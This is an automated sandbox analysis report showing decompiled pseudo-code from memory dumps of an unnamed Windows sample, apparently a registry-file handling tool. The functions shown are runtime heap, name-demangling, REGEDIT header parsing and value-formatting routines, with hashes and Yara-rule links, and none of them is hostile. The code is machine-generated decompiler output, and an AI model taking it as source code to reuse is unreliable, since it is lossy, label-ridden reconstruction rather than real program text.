0x00c77072
0x00c77072
0x00000000

APIs

_free.LIBCMT ref: 00C77040
_free.LIBCMT ref: 00C7705B
_free.LIBCMT ref: 00C77066
_free.LIBCMT ref: 00C77173

Part of subcall function 00C806FB: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00C7B53A,00000001,00000364,00000006,000000FF,?,?,00C61D2E,00C7CA94,?,?,00C79D3C), ref: 00C8073C

_free.LIBCMT ref: 00C77148

Part of subcall function 00C7CA6E: HeapFree.KERNEL32(00000000,00000000,?,00C79D3C), ref: 00C7CA84
Part of subcall function 00C7CA6E: GetLastError.KERNEL32(?,?,00C79D3C), ref: 00C7CA96

_free.LIBCMT ref: 00C77169

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _free$Heap$AllocateErrorFreeLast
String ID:
API String ID: 4150789928-0
Opcode ID: 34a7a7d3b67cb123407e9ba75df10076718ebde29f80bc5729c4c5f73669a51f
Instruction ID: 718428baa83de4de9d17fc1b565c569ebaa20e459903bee7e5a1e106a85bb254
Opcode Fuzzy Hash: 34a7a7d3b67cb123407e9ba75df10076718ebde29f80bc5729c4c5f73669a51f
Instruction Fuzzy Hash: B651AE366082095BDF14EF789891BBE77A5DF84714F248159F94DEB241FA329F02D350

Uniqueness

Uniqueness Score: -1.00%

Function 00C5EFD5, Relevance: 9.1, APIs: 6, Instructions: 120
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C5EFD5(intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				char _v12;
				char _v20;
				char _v28;
				char _v36;
				intOrPtr _t27;
				char* _t29;
				intOrPtr _t38;
				char* _t39;
				void* _t48;
				intOrPtr* _t55;
				intOrPtr* _t65;
				intOrPtr _t67;
				char _t73;
				intOrPtr* _t75;
				void* _t77;
				void* _t78;

				_t55 = _a8;
				_t78 = _t77 - 0x20;
				_t75 = _a4;
				 *_t75 =  *_t55;
				_t27 =  *((intOrPtr*)(_t55 + 4));
				 *((intOrPtr*)(_t75 + 4)) = _t27;
				if(_t27 <= 1) {
					_t29 =  *0xca3e38; // 0x0
					if( *_t29 == 0) {
						E00C59346(E00C58F7B( &_v36, 1),  &_v12, _t75);
						 *_t75 = _v12;
						 *((intOrPtr*)(_t75 + 4)) = _v8;
					} else {
						E00C5B86C( &_v12);
						_t65 = E00C59346(E00C59368( &_v12,  &_v20, 0x20),  &_v28, _t75);
						 *_t75 =  *_t65;
						_t38 =  *((intOrPtr*)(_t65 + 4));
						 *((intOrPtr*)(_t75 + 4)) = _t38;
						if(_t38 <= 1) {
							_t39 =  *0xca3e38; // 0x0
							if( *_t39 == 0x40) {
								L19:
								 *0xca3e38 = _t39 + 1;
							} else {
								_v12 = "{for ";
								_v8 = 5;
								while(1) {
									L5:
									E00C593E8(_t75,  &_v12);
									_t67 =  *((intOrPtr*)(_t75 + 4));
									_t39 =  *0xca3e38; // 0x0
									while(_t67 <= 1) {
										_t73 =  *_t39;
										if(_t73 == 0) {
											L15:
											if( *_t39 == 0) {
												E00C59550(_t75, 1);
											}
											E00C59497(_t75, 0x7d);
											_t39 =  *0xca3e38; // 0x0
										} else {
											if(_t73 == 0x40) {
												if(_t67 <= 1) {
													goto L15;
												}
											} else {
												_t48 = E00C592D7(_t67,  &_v20, 0x60, E00C5D824(_t73,  &_v28));
												_t78 = _t78 + 0x10;
												E00C59440(_t75, E00C59368(_t48,  &_v36, 0x27));
												_t39 =  *0xca3e38; // 0x0
												if( *_t39 == 0x40) {
													_t39 = _t39 + 1;
													 *0xca3e38 = _t39;
												}
												_t67 =  *((intOrPtr*)(_t75 + 4));
												if(_t67 <= 1) {
													if( *_t39 == 0x40) {
														continue;
													} else {
														_v12 = "s ";
														_v8 = 2;
														goto L5;
													}
													goto L21;
												}
											}
										}
										break;
									}
									if( *_t39 == 0x40) {
										goto L19;
									}
									goto L21;
								}
							}
						}
					}
				}
				L21:
				return _t75;
			}

0x00c5efd8
0x00c5efdb
0x00c5efe2
0x00c5efe8
0x00c5efea
0x00c5efed
0x00c5eff2
0x00c5eff8
0x00c5f000
0x00c5f115
0x00c5f11d
0x00c5f122
0x00c5f006
0x00c5f00a
0x00c5f02a
0x00c5f02e
0x00c5f030
0x00c5f033
0x00c5f038
0x00c5f03e
0x00c5f046
0x00c5f0fd
0x00c5f0fe
0x00c5f04c
0x00c5f04c
0x00c5f053
0x00c5f05a
0x00c5f05a
0x00c5f060
0x00c5f065
0x00c5f068
0x00c5f06d
0x00c5f075
0x00c5f079
0x00c5f0dd
0x00c5f0e0
0x00c5f0e5
0x00c5f0e5
0x00c5f0ee
0x00c5f0f3
0x00c5f07b
0x00c5f07e
0x00c5f0db
0x00000000
0x00000000
0x00c5f080
0x00c5f090
0x00c5f095
0x00c5f0a8
0x00c5f0ad
0x00c5f0b5
0x00c5f0b7
0x00c5f0b8
0x00c5f0b8
0x00c5f0bd
0x00c5f0c2
0x00c5f0c7
0x00000000
0x00c5f0c9
0x00c5f0c9
0x00c5f0d0
0x00000000
0x00c5f0d0
0x00000000
0x00c5f0c7
0x00c5f0c2
0x00c5f07e
0x00000000
0x00c5f079
0x00c5f0fb
0x00000000
0x00000000
0x00000000
0x00c5f0fb
0x00c5f05a
0x00c5f046
0x00c5f038
0x00c5f000
0x00c5f125
0x00c5f12a

APIs

DName::operator+.LIBCMT ref: 00C5F019
DName::operator+.LIBCMT ref: 00C5F025

Part of subcall function 00C593E8: shared_ptr.LIBCMT ref: 00C59404

DName::operator+=.LIBCMT ref: 00C5F0E5

Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5D88F
Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5DB4D

Part of subcall function 00C592D7: DName::operator+.LIBCMT ref: 00C592F8

DName::operator+.LIBCMT ref: 00C5F0A0

Part of subcall function 00C59440: DName::operator=.LIBVCRUNTIME ref: 00C59461

DName::DName.LIBVCRUNTIME ref: 00C5F109
DName::operator+.LIBCMT ref: 00C5F115

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID:
API String ID: 2795783184-0
Opcode ID: 422d23e226d7b366c830354c0b609e77c2ed66ae5826b508484918c67efc961f
Instruction ID: 27e8585ecfd232490b158faabdb04be1e7e4a5426d4593d9adb116d6939cd728
Opcode Fuzzy Hash: 422d23e226d7b366c830354c0b609e77c2ed66ae5826b508484918c67efc961f
Instruction Fuzzy Hash: DE41D6B9500284EFDB14DFA8C895B9E7BF9EB0A301F04006CF5559B292D7345ACDC758

Uniqueness

Uniqueness Score: -1.00%

Function 00C5DBD6, Relevance: 9.1, APIs: 6, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E00C5DBD6(void* __edx, void* __eflags, intOrPtr* _a4) {
				char _v8;
				char _v12;
				char _v20;
				char _v28;
				char _v36;
				void* __edi;
				intOrPtr* _t25;
				intOrPtr _t26;
				intOrPtr* _t27;
				intOrPtr* _t30;
				intOrPtr* _t37;
				char _t39;
				intOrPtr _t40;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr* _t60;

				_t60 = _a4;
				 *_t60 = 0;
				 *((intOrPtr*)(_t60 + 4)) = 0;
				_t25 = E00C5F12B(__edx, 0,  &_v12, 1, 0);
				_t40 =  *_t25;
				 *_t60 = _t40;
				_t26 =  *((intOrPtr*)(_t25 + 4));
				 *((intOrPtr*)(_t60 + 4)) = _t26;
				_t27 =  *0xca3e38; // 0x0
				_t39 = 2;
				if(_t26 != 0) {
					L4:
					_t57 =  *_t27;
					if(_t57 != 0x40) {
						if(_t57 == 0) {
							_push(1);
							if(_t40 != 0) {
								_v12 = "::";
								_v8 = _t39;
								_t30 = E00C59346(E00C59324(E00C58F7B( &_v36),  &_v28,  &_v12),  &_v20, _t60);
								 *_t60 =  *_t30;
								 *((intOrPtr*)(_t60 + 4)) =  *((intOrPtr*)(_t30 + 4));
							} else {
								E00C59236(_t60);
							}
						} else {
							 *((intOrPtr*)(_t60 + 4)) = 0;
							 *((char*)(_t60 + 4)) = _t39;
							 *_t60 = 0;
						}
						L11:
						return _t60;
					}
					L5:
					 *0xca3e38 = _t27 + 1;
					goto L11;
				}
				_t58 =  *_t27;
				if(_t58 == 0) {
					goto L4;
				}
				if(_t58 == 0x40) {
					goto L5;
				} else {
					_v12 = "::";
					_v8 = _t39;
					_t37 = E00C59346(E00C59324(E00C5D824(_t58,  &_v20),  &_v28,  &_v12),  &_v36, _t60);
					_t40 =  *_t37;
					 *_t60 = _t40;
					 *((intOrPtr*)(_t60 + 4)) =  *((intOrPtr*)(_t37 + 4));
					_t27 =  *0xca3e38; // 0x0
					goto L4;
				}
			}

0x00c5dbe1
0x00c5dbeb
0x00c5dbed
0x00c5dbf0
0x00c5dbf8
0x00c5dbfa
0x00c5dbfc
0x00c5dc03
0x00c5dc06
0x00c5dc0b
0x00c5dc0c
0x00c5dc57
0x00c5dc57
0x00c5dc5c
0x00c5dc68
0x00c5dc74
0x00c5dc78
0x00c5dc86
0x00c5dc8d
0x00c5dcab
0x00c5dcb2
0x00c5dcb7
0x00c5dc7a
0x00c5dc7c
0x00c5dc7c
0x00c5dc6a
0x00c5dc6a
0x00c5dc6d
0x00c5dc70
0x00c5dc70
0x00c5dcbb
0x00c5dcc0
0x00c5dcc0
0x00c5dc5e
0x00c5dc5f
0x00000000
0x00c5dc5f
0x00c5dc0e
0x00c5dc12
0x00000000
0x00000000
0x00c5dc17
0x00000000
0x00c5dc19
0x00c5dc1c
0x00c5dc24
0x00c5dc43
0x00c5dc48
0x00c5dc4a
0x00c5dc4f
0x00c5dc52
0x00000000
0x00c5dc52

APIs

Part of subcall function 00C5F12B: Replicator::operator[].LIBVCRUNTIME ref: 00C5F168

DName::operator=.LIBVCRUNTIME ref: 00C5DC7C

Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5D88F
Part of subcall function 00C5D824: DName::operator+.LIBCMT ref: 00C5DB4D

DName::operator+.LIBCMT ref: 00C5DC37
DName::operator+.LIBCMT ref: 00C5DC43
DName::DName.LIBVCRUNTIME ref: 00C5DC90
DName::operator+.LIBCMT ref: 00C5DC9F
DName::operator+.LIBCMT ref: 00C5DCAB

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: 423460985bfe6af662028c39b6bc4e6958908242979432970568af101dc4d317
Instruction ID: 23c23efd6ae96cf5ed200fce15a32d6d7814d9e7a580d6ee5b3709bb6a25756d
Opcode Fuzzy Hash: 423460985bfe6af662028c39b6bc4e6958908242979432970568af101dc4d317
Instruction Fuzzy Hash: D531AFB9600304EFCB28DF94C895AEEBBF9EF59301B00445DE98797391D770A688CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00C58870, Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00C58870(void* __ecx) {
				void* _t4;
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t14;
				void* _t18;
				void* _t23;
				long _t24;
				void* _t27;

				_t13 = __ecx;
				if( *0xca30a0 != 0xffffffff) {
					_t24 = GetLastError();
					_t11 = E00C5FC89(_t13, __eflags,  *0xca30a0);
					_t14 = _t23;
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E00C5FCC4(_t14, __eflags,  *0xca30a0, 0xffffffff);
							__eflags = _t4;
							if(_t4 != 0) {
								_push(0x28);
								_t27 = E00C7A864();
								_t18 = 1;
								__eflags = _t27;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E00C5FCC4(_t18, __eflags,  *0xca30a0, 0);
								} else {
									_t8 = E00C5FCC4(_t18, __eflags,  *0xca30a0, _t27);
									_pop(_t18);
									__eflags = _t8;
									if(__eflags != 0) {
										_t11 = _t27;
										_t27 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E00C7A71C(_t27);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t24);
					return _t11;
				} else {
					return 0;
				}
			}

0x00c58870
0x00c58877
0x00c5888a
0x00c58891
0x00c58893
0x00c58894
0x00c58897
0x00c588b0
0x00c588b0
0x00c58899
0x00c58899
0x00c5889b
0x00c588a5
0x00c588ac
0x00c588ae
0x00c588b5
0x00c588be
0x00c588c1
0x00c588c2
0x00c588c4
0x00c588d8
0x00c588d8
0x00c588e1
0x00c588c6
0x00c588cd
0x00c588d3
0x00c588d4
0x00c588d6
0x00c588ea
0x00c588ec
0x00c588ec
0x00000000
0x00000000
0x00000000
0x00c588d6
0x00c588ef
0x00000000
0x00000000
0x00000000
0x00c588ae
0x00c5889b
0x00c588f7
0x00c58901
0x00c58879
0x00c5887b
0x00c5887b

APIs

GetLastError.KERNEL32(?,?,00C58867,00C58329,00C56FF4), ref: 00C5887E
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00C5888C
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00C588A5
SetLastError.KERNEL32(00000000,00C58867,00C58329,00C56FF4), ref: 00C588F7

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: bba0d5526579e1328b8d06f2f2fc820b152dd77512449cdebd0d2bf7cf611b37
Instruction ID: 11bde270b5777d1b7aa39818ff66a5e122fc25abafaae8ab9323ef901f655563
Opcode Fuzzy Hash: bba0d5526579e1328b8d06f2f2fc820b152dd77512449cdebd0d2bf7cf611b37
Instruction Fuzzy Hash: 4D01F13A6093196EE72826B97C9572F2654EF12B77760023FFD30A61E1EF11498DE248

Uniqueness

Uniqueness Score: -1.00%

Function 00C538D0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 51
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00C538D0(WCHAR* _a4) {

				while(( *_a4 & 0x0000ffff) == 0x20 || ( *_a4 & 0x0000ffff) == 9) {
					_a4 =  &(_a4[1]);
				}
				if(lstrcmpW(_a4, L"REGEDIT") != 0) {
					if(lstrcmpW(_a4, L"REGEDIT4") != 0) {
						if(lstrcmpW(_a4, L"Windows Registry Editor Version 5.00") != 0) {
							if(E00C61DC8(_a4, L"REGEDIT", 7) != 0) {
								return 4;
							}
							return 3;
						}
						return 2;
					}
					return 1;
				}
				return 0;
			}

0x00c538d3
0x00c538ef
0x00c538ef
0x00c53905
0x00c5391c
0x00c53936
0x00c53954
0x00000000
0x00c5395d
0x00000000
0x00c53956
0x00000000
0x00c53938
0x00000000
0x00c5391e
0x00000000

APIs

lstrcmpW.KERNEL32(00C510C5,REGEDIT,?,00C510C5,00000000), ref: 00C538FD
lstrcmpW.KERNEL32(00C510C5,REGEDIT4,?,00C510C5,00000000), ref: 00C53914
lstrcmpW.KERNEL32(00C510C5,Windows Registry Editor Version 5.00,?,00C510C5,00000000), ref: 00C5392E

Strings

REGEDIT, xrefs: 00C538F4, 00C53941
Windows Registry Editor Version 5.00, xrefs: 00C53925
REGEDIT4, xrefs: 00C5390B

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrcmp
String ID: REGEDIT$REGEDIT4$Windows Registry Editor Version 5.00
API String ID: 1534048567-1005159548
Opcode ID: 93f2afc1fe99dc46a160edca6128cda8d6c67cadc95e31627b5895d83ce5e25e
Instruction ID: a1dbb562506862b742c8ffae35780a77959bb0e1ceb7ea3a6d27f2e29279dddf
Opcode Fuzzy Hash: 93f2afc1fe99dc46a160edca6128cda8d6c67cadc95e31627b5895d83ce5e25e
Instruction Fuzzy Hash: 1D0192B8304244E7CF144F6AC849B7A3769EB00782F108429FC998F280D6B5DBC4D798

Uniqueness

Uniqueness Score: -1.00%

Function 00C541F0, Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 145
stringCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E00C541F0(signed int _a4, WCHAR* _a8, signed int _a12) {
				WCHAR* _v8;
				signed int _v12;
				signed int _v16;
				WCHAR* _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				unsigned int _v36;
				signed int _v40;
				unsigned int _v44;

				_v8 = 0;
				_v24 = _a4;
				if(_v24 > 7) {
					L19:
					return _v8;
				}
				switch( *((intOrPtr*)(_v24 * 4 +  &M00C543BC))) {
					case 0:
						__edx = _a12;
						__edx = _a12 << 1;
						_t14 = __edx + 2; // 0xc536c6
						__eax = __edx + _t14;
						_push(__edx + _t14);
						__eax = E00C53330(__ecx);
						__esp = __esp + 4;
						_v8 = __eax;
						__ecx = _v8;
						_v20 = _v8;
						_v12 = 0;
						while(1) {
							__eax = _v12;
							if(_v12 >= _a12) {
								break;
							}
							_a8 = _a8 + _v12;
							__edx =  *(_a8 + _v12) & 0x000000ff;
							__eax = _v20;
							__eax = E00C54AB0(_v20, 3, L"%02X",  *(_a8 + _v12) & 0x000000ff);
							__ecx = _v20;
							__edx = __ecx + __eax * 2;
							_v20 = __ecx + __eax * 2;
							_v12 = _v12 + 1;
							_v12 = _v12 + 1;
						}
						goto L19;
					case 1:
						_push(_a12);
						_v8 = E00C53330(_t95);
						lstrcpyW(_v8, _a8);
						goto L19;
					case 2:
						_v28 = 0xa;
						_t33 = _v28 + 2; // 0xc
						__ecx = _v28 + _t33;
						_push(__ecx);
						__eax = E00C53330(__ecx);
						__esp = __esp + 4;
						_v8 = __eax;
						__edx = _a8;
						__eax =  *_a8;
						_v28 = _v28 + 1;
						__edx = _v8;
						__eax = E00C54AB0(_v8, _v28 + 1, L"0x%x",  *_a8);
						goto L19;
					case 3:
						goto L19;
					case 4:
						_v32 = 4;
						__eax = _a8;
						_v40 = _a8;
						__ecx = _a12;
						if(__ecx > _v32) {
							__ecx = _a12;
							__ecx = _a12 - _v32;
							_v36 = __ecx;
							__edx = _v36;
							__eax = __edx + __edx + 2;
							_push(__edx + __edx + 2);
							__eax = E00C53330(__ecx);
							__esp = __esp + 4;
							_v8 = __eax;
							_v36 = _v36 >> 1;
							_v44 = _v36 >> 1;
							_v12 = 0;
							_v16 = 0;
							while(1) {
								__ecx = _v12;
								if(_v12 >= _v44) {
									break;
								}
								__edx = _v12;
								__eax = _v40;
								__ecx =  *(__eax + __edx * 2) & 0x0000ffff;
								if(( *(__eax + __edx * 2) & 0x0000ffff) == 0) {
									__edx = 0x5c;
									__eax = _v16;
									__ecx = _v8;
									_v8[_v16] = __dx;
									_v16 = _v16 + 1;
									_v16 = _v16 + 1;
									__eax = 0x30;
									__ecx = _v16;
									__edx = _v8;
									_v8[_v16] = __ax;
								} else {
									__edx = _v16;
									__eax = _v8;
									__ecx = _v12;
									_v8[_v16] =  *((intOrPtr*)(_v40 + _v12 * 2));
								}
								_v12 = _v12 + 1;
								_v12 = _v12 + 1;
								_v16 = _v16 + 1;
								_v16 = _v16 + 1;
							}
							__eax = 0;
							__ecx = _v16;
							__edx = _v8;
							_v8[_v16] = __ax;
							goto L19;
						}
						_push(2);
						__eax = E00C53330(__ecx);
						__esp = __esp + 4;
						_v8 = __eax;
						__edx = 0;
						__eax = _v8;
						 *_v8 = __dx;
						__eax = _v8;
						return _v8;
				}
			}

0x00c541f7
0x00c54201
0x00c54208
0x00c543b2
0x00000000
0x00c543b2
0x00c54211
0x00000000
0x00c5423a
0x00c5423d
0x00c5423f
0x00c5423f
0x00c54243
0x00c54244
0x00c54249
0x00c5424c
0x00c5424f
0x00c54252
0x00c54255
0x00c54267
0x00c54267
0x00c5426d
0x00000000
0x00000000
0x00c54272
0x00c54275
0x00c54280
0x00c54284
0x00c5428c
0x00c5428f
0x00c54292
0x00c54261
0x00c54264
0x00c54264
0x00000000
0x00000000
0x00c5421b
0x00c54224
0x00c5422f
0x00000000
0x00000000
0x00c5429c
0x00c542a6
0x00c542a6
0x00c542aa
0x00c542ab
0x00c542b0
0x00c542b3
0x00c542b6
0x00c542b9
0x00c542c4
0x00c542c8
0x00c542cc
0x00000000
0x00000000
0x00000000
0x00000000
0x00c542d9
0x00c542e0
0x00c542e3
0x00c542e6
0x00c542ec
0x00c5430b
0x00c5430e
0x00c54311
0x00c54314
0x00c54317
0x00c5431b
0x00c5431c
0x00c54321
0x00c54324
0x00c5432a
0x00c5432c
0x00c5432f
0x00c54336
0x00c54351
0x00c54351
0x00c54357
0x00000000
0x00000000
0x00c54359
0x00c5435c
0x00c5435f
0x00c54365
0x00c5437d
0x00c54382
0x00c54385
0x00c54388
0x00c5438f
0x00c54392
0x00c54395
0x00c5439a
0x00c5439d
0x00c543a0
0x00c54367
0x00c54367
0x00c5436a
0x00c5436d
0x00c54377
0x00c54377
0x00c54342
0x00c54345
0x00c5434b
0x00c5434e
0x00c5434e
0x00c543a6
0x00c543a8
0x00c543ab
0x00c543ae
0x00000000
0x00c543ae
0x00c542ee
0x00c542f0
0x00c542f5
0x00c542f8
0x00c542fb
0x00c542fd
0x00c54300
0x00c54303
0x00000000
0x00000000

APIs

lstrcpyW.KERNEL32 ref: 00C5422F
_swprintf.LIBCMTD ref: 00C54284
_swprintf.LIBCMTD ref: 00C542CC

Strings

0x%x, xrefs: 00C542BC
%02X, xrefs: 00C54279

Memory Dump Source

Source File: 00000002.00000002.208085842.0000000000C51000.00000020.00020000.sdmp, Offset: 00C50000, based on PE: true

Associated: 00000002.00000002.208082683.0000000000C50000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208116582.0000000000C99000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.208123710.0000000000CA3000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.208127462.0000000000CA5000.00000002.00020000.sdmp Download File

Similarity

API ID: _swprintf$lstrcpy
String ID: %02X$0x%x
API String ID: 1145273856-1546051514
Opcode ID: 48b0eb6a96a84ee2c40f58250966d6abbdcdd4e5bebf11bf5a47a8c798f72b2f
Instruction ID: 24889ac958cae0f186ccb28387e56c98757acc55ed0f2009ca6659e57dd51431
Opcode Fuzzy Hash: 48b0eb6a96a84ee2c40f58250966d6abbdcdd4e5bebf11bf5a47a8c798f72b2f
Instruction Fuzzy Hash: 4F510CB8D00149EFDF08CF98C490AAEB7B1FF48309F208199E815A7361D731AB95DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C763F9, Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E00C763F9(void* __ebx, signed short* __edx, void* __esi, void* __eflags, intOrPtr _a4) {
				signed short* _v0;
				intOrPtr _v4;
				signed int _v8;
				signed int _v12;
				char _v13;
				intOrPtr _v16;
				intOrPtr _v28;
				void _v512;
				long _v516;
				void* __edi;
				signed int _t23;
				signed int _t32;
				void* _t33;
				char* _t37;
				signed short* _t40;
				void* _t41;
				void* _t42;
				void* _t43;
				void* _t44;
				signed int _t46;
				signed int _t49;

				_t42 = __esi;
				_t40 = __edx;
				_t33 = __ebx;
				_t46 = _t49;
				if(E00C80287(3) == 1 || __eax == 0 &&  *0xca3e98 == 1) {
					_pop(_t46);
					_push(_t46);
					_t47 = _t49;
					_t23 =  *0xca3098; // 0x75d6936a
					_v8 = _t23 ^ _t49;
					_push(_t42);
					_t43 = GetStdHandle(0xfffffff4);
					if(_t43 != 0 && _t43 != 0xffffffff) {
						_t40 = _v0;
						_t37 =  &_v512;
						while(1) {
							 *_t37 =  *_t40;
							_t37 = _t37 + 1;
							if(_t37 ==  &_v12) {
								break;
							}
							_t32 =  *_t40 & 0x0000ffff;
							_t40 =  &(_t40[1]);
							if(_t32 != 0) {
								continue;
							}
							break;
						}
						_v13 = 0;
						_v516 = 0;
						_t25 = WriteFile(_t43,  &_v512, _t37 -  &_v512 - 1,  &_v516, 0);
					}
					_pop(_t44);
					return E00C572B1(_t25, _t33, _v12 ^ _t47, _t40, _t41, _t44);
				} else {
					_push(__ebx);
					_push(__esi);
					__eax = E00C8040D(0xca3ea0, 0x314, L"Runtime Error!\n\nProgram: ");
					__ebx = 0;
					if(__eax != 0) {
						L21:
						_push(__ebx);
						_push(__ebx);
						_push(__ebx);
						_push(__ebx);
						_push(__ebx);
						__eax = E00C7B914();
						asm("int3");
						__ebp = __esp;
						if(_v28 != 0) {
							_push(_v0);
							_push(_v4);
							_push(_v8);
							_push(_v12);
							_push(_v16);
							__eax = E00C7B914();
							asm("int3");
							__eax =  *0xca3e98; // 0x1
							return __eax;
						} else {
							return __eax;
						}
					} else {
						_push(__edi);
						__esi = 0xca3ed2;
						 *0xca40da = __ax;
						__eax = GetModuleFileNameW(0, 0xca3ed2, 0x104);
						__edi = 0x2fb;
						if(__eax != 0 || E00C8040D(0xca3ed2, 0x2fb, L"<program name unknown>") == 0) {
							_t10 = __esi + 2; // 0xca3ed4
							__ecx = _t10;
							do {
								__ax =  *__esi;
								__esi = __esi + 2;
							} while (__ax != __bx);
							__esi = __esi - __ecx;
							__esi = __esi >> 1;
							_t11 = __esi + 1; // 0xca3ed1
							__eax = _t11;
							if(_t11 <= 0x3c) {
								L17:
								__edi = 0x314;
								__esi = 0xca3ea0;
								if(E00C80338(0xca3ea0, 0x314, L"\n\n") != 0) {
									goto L21;
								} else {
									__eax = E00C80338(0xca3ea0, 0x314, _a4);
									_pop(__edi);
									if(__eax != 0) {
										goto L21;
									} else {
										_push(L"Microsoft Visual C++ Runtime Library");
										__eax = E00C806F0(__ecx, 0x314, 0xca3ea0);
										_pop(__esi);
										__ebx = 0x12010;
										return __eax;
									}
								}
							} else {
								_push(3);
								_t12 = __esi - 0x3b; // 0xca3e95
								__eax = _t12;
								__edi = __edi - __eax;
								__eax =  &(0xca3ed2[__eax]);
								if(__eax != 0) {
									goto L21;
								} else {
									goto L17;
								}
							}
						} else {
							goto L21;
						}
					}
				}
			}

0x00c763f9
0x00c763f9
0x00c763f9
0x00c763fc
0x00c76409
0x00c764fd
0x00c76380
0x00c76381
0x00c76389
0x00c76390
0x00c76393
0x00c7639c
0x00c763a0
0x00c763a7
0x00c763aa
0x00c763b0
0x00c763b2
0x00c763b4
0x00c763ba
0x00000000
0x00000000
0x00c763bc
0x00c763bf
0x00c763c5
0x00000000
0x00000000
0x00000000
0x00c763c5
0x00c763ca
0x00c763cd
0x00c763e6
0x00c763e6
0x00c763f1
0x00c763f8
0x00c76420
0x00c76420
0x00c76421
0x00c76431
0x00c76439
0x00c7643d
0x00c76503
0x00c76503
0x00c76504
0x00c76505
0x00c76506
0x00c76507
0x00c76508
0x00c7650d
0x00c76511
0x00c76517
0x00c7651b
0x00c7651e
0x00c76521
0x00c76524
0x00c76527
0x00c7652a
0x00c7652f
0x00c76530
0x00c76535
0x00c76519
0x00c7651a
0x00c7651a
0x00c76443
0x00c76443
0x00c76449
0x00c7644e
0x00c76456
0x00c7645c
0x00c76463
0x00c7647c
0x00c7647c
0x00c7647f
0x00c7647f
0x00c76482
0x00c76485
0x00c7648a
0x00c7648c
0x00c7648e
0x00c7648e
0x00c76494
0x00c764b7
0x00c764bc
0x00c764c1
0x00c764d2
0x00000000
0x00c764d4
0x00c764d9
0x00c764e1
0x00c764e4
0x00000000
0x00c764e6
0x00c764eb
0x00c764f1
0x00c764f9
0x00c764fa
0x00c764fc
0x00c764fc
0x00c764e4
0x00c76496
0x00c76496
0x00c76498
0x00c76498
0x00c7649b
0x00c7649d
0x00c764b5
0x00000000
0x00000000
0x00000000
0x00000000
0x00c764b5
0x00000000
0x00000000
0x00000000
0x00c76463
0x00c7643d

APIs

GetModuleFileNameW.KERNEL32(00000000,00CA3ED2,00000104), ref: 00C76456

